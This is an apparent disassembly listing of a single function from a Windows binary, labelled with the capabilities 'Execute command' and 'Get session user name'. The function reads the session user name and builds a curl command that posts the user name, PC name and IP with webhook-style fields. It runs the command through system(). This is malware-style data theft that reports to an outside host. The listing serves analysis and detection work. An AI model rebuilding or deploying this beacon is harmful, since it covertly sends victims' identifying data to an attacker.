Function at 0x140005790
Capabilities:
Execute command
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x14000e040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov r15, rcx
mov qword [rbp + 8], rcx
xor r13d, r13d
mov dword [rbp + 0x10], 0x101
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], r13
lea rax, [rbp + 0xa0]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140005807
movabs r14, 0x7fffffffffffffff
cmp rbx, r14
ja 0x140005ffd
cmp rbx, 0xf
ja 0x14000585e
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], 0xf
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x18]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x18], 0
mov rdi, qword [rbp + 0x30]
mov rbx, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x18]
jmp 0x1400058f6
mov rdi, rbx
or rdi, 0xf
cmp rdi, r14
jbe 0x14000589a
mov rdi, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140008790
test rax, rax
je 0x140005f67
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400058d4
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400058c2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005ff7
jmp 0x14000587b
test rcx, rcx
je 0x1400058d1
call fcn.140008790
mov rsi, rax
jmp 0x1400058d4
mov rsi, r13
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], rdi
mov r8, rbx
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
lea rdx, [rbp - 0x20]
call fcn.1400045c0
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.140003ad0
nop
lea rdx, [rbp + 0x58]
call fcn.140004010
nop
sub r14, rbx
cmp r14, 0x34
jb 0x140005ff1
lea rax, [rbp + 0x18]
cmp rdi, 0xf
cmova rax, rsi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x34
lea r9, str.curl___data__usernameUsermode_content___NamePC__
lea rcx, [rbp - 0x60]
call fcn.140008450
nop
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 6
jb 0x14000599e
lea rax, [rcx + 6]
mov qword [rbp - 0x50], rax
lea rbx, [rbp - 0x60]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x60]
add rbx, rcx
mov r8d, 6
lea rdx, str.__IP:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 6], 0
lea rax, [rbp - 0x60]
jmp 0x1400059bc
mov qword [rsp + 0x20], 6
lea r9, str.__IP:
mov edx, 6
lea rcx, [rbp - 0x60]
call fcn.140007df0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x78]
mov r12, qword [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova r9, r12
mov rsi, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
sub rax, rsi
mov rdi, qword [rbp + 0x88]
cmp rdi, rax
ja 0x140005a49
lea rax, [rdi + rsi]
mov qword [rbp - 0x70], rax
lea rbx, [rbp - 0x80]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x80]
lea rcx, [rbx + rsi]
mov r8, rdi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rbx]
mov byte [rax + rsi], 0
lea rax, [rbp - 0x80]
jmp 0x140005a5e
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.140007df0
mov r12, qword [rbp + 0x78]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 0x13
jb 0x140005ae0
lea rax, [rcx + 0x13]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x60]
add rbx, rcx
mov r8d, 0x13
lea rdx, str.__:warning:_Stage:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x13], 0
lea rax, [rsp + 0x60]
jmp 0x140005aff
mov qword [rsp + 0x20], 0x13
lea r9, str.__:warning:_Stage:
mov edx, 0x13
lea rcx, [rsp + 0x60]
call fcn.140007df0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, r15
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.1400079e0
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xe
jb 0x140005b86
lea rax, [rcx + 0xe]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x140005b67
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8d, 0xe
lea rdx, str.avatar_url_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xe], 0
jmp 0x140005ba6
mov qword [rsp + 0x20], 0xe
lea r9, str.avatar_url_
mov edx, 0xe
mov rcx, rdi
call fcn.140007df0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
lea r9, [rbp + 0x58]
mov rsi, qword [rbp + 0x58]
mov r13, qword [rbp + 0x70]
cmp r13, 0xf
cmova r9, rsi
mov r14, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
sub rax, r14
mov rdi, qword [rbp + 0x68]
cmp rdi, rax
ja 0x140005c3b
lea rax, [rdi + r14]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x40]
lea rcx, [rbx + r14]
mov r8, rdi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rbx]
mov byte [rax + r14], 0
lea rax, [rsp + 0x40]
jmp 0x140005c55
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140007df0
mov r13, qword [rbp + 0x70]
mov rsi, qword [rbp + 0x58]
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140005cc3
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005cbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005cbe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008adc
movdqa xmm0, xmmword [0x14000b7c0]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140005d14
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d0f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008adc
movdqa xmm0, xmmword [0x14000b7c0]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140005d63
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d5e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008adc
movdqa xmm0, xmmword [0x14000b7c0]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140005db4
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005daf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005daf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008adc
movdqa xmm0, xmmword [0x14000b7c0]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140005e05
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e00
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008adc
movdqa xmm0, xmmword [0x14000b7c0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140005e54
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008adc
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rcx, qword [rbp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x140005ea6
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ea1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ea1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008adc
movdqa xmm0, xmmword [0x14000b7c0]
movdqu xmmword [rbp + 0x48], xmm0
mov byte [rbp + 0x38], 0
cmp r13, 0xf
jbe 0x140005ef2
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140005ee9
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ee9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140008adc
nop
mov rax, qword [rbp + 0x90]
cmp rax, 0xf
jbe 0x140005f35
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140005f2c
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f2c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.140008adc
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x140005f74
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008adc
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140005faa
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x140005fa5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005fea
mov rcx, r8
call fcn.140008adc
mov qword [r15 + 0x10], rbx
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140008770
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001540
nop
call fcn.1400014a0
int3
call fcn.140001540
int3